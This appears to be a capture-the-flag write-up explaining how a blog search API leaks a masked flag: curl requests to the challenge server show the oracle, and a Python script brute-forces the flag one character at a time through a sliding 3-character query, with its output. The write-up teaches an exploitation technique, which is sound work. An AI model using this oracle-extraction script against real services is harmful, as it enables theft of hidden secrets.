Post

Flag L3ak

Finding the Vulnerability

We are given a JavaScript file which prevents flag from being showh in searches:

1
2
3
4
5
6
7
8
9
10
    const matchingPosts = posts
        .filter(post => 
            post.title.includes(query) ||
            post.content.includes(query) ||
            post.author.includes(query)
        )
        .map(post => ({
            ...post,
            content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
    }));

However, it still shows that a search is successful if it includes the flag. We can use this to solve the problem by brute forcing each individual character.

Planning the Exploit

Making a cURL request, we can see that it requires 3 characters, so we’ll need a sliding window.

1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "L3AK"}'
{"error":"Query must be 3 characters."}

A proper request will show this:

1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "L3A"}'
{"results":[{"id":3,"title":"Not the flag?","content":"Well luckily the content of the flag is hidden so here it is: ************************","author":"admin","date":"2025-05-13"},{"id":4,"title":"Real flag fr","content":"Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}","author":"L3ak Member","date":"2025-06-13"}],"count":2,"query":"L3A"}                              

Sliding the window will return the same value:

1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "3AK"}'
{"results":[{"id":3,"title":"Not the flag?","content":"Well luckily the content of the flag is hidden so here it is: ************************","author":"admin","date":"2025-05-13"},{"id":4,"title":"Real flag fr","content":"Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}","author":"L3ak Member","date":"2025-06-13"}],"count":2,"query":"3AK"}

Note that the flag format is L3AK{}, so we can get a head start and know when to end.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import requests
import string

search_space = string.printable
url = "http://34.134.162.213:17000/api/search"
flag = "L3AK{"

while "}" not in flag:
    for character in search_space:
        query = flag[-2:] + character
        print(flag + character)
        res = requests.post(url, headers={"Content-Type": "application/json"}, data='{"query":"' + query + '"}')

        if "Not the flag" in res.text:
            flag += character
            break
        
with open("flag.txt", "w") as f:
    f.write(flag)
    

The flag:

1
2
3
4
5
6
7
8
L3AK{L3ak1ng_th3_Fl4g??^
L3AK{L3ak1ng_th3_Fl4g??_
L3AK{L3ak1ng_th3_Fl4g??`
L3AK{L3ak1ng_th3_Fl4g??{
L3AK{L3ak1ng_th3_Fl4g??|
L3AK{L3ak1ng_th3_Fl4g??}
found }
L3AK{L3ak1ng_th3_Fl4g??}
This post is licensed under CC BY 4.0 by the author.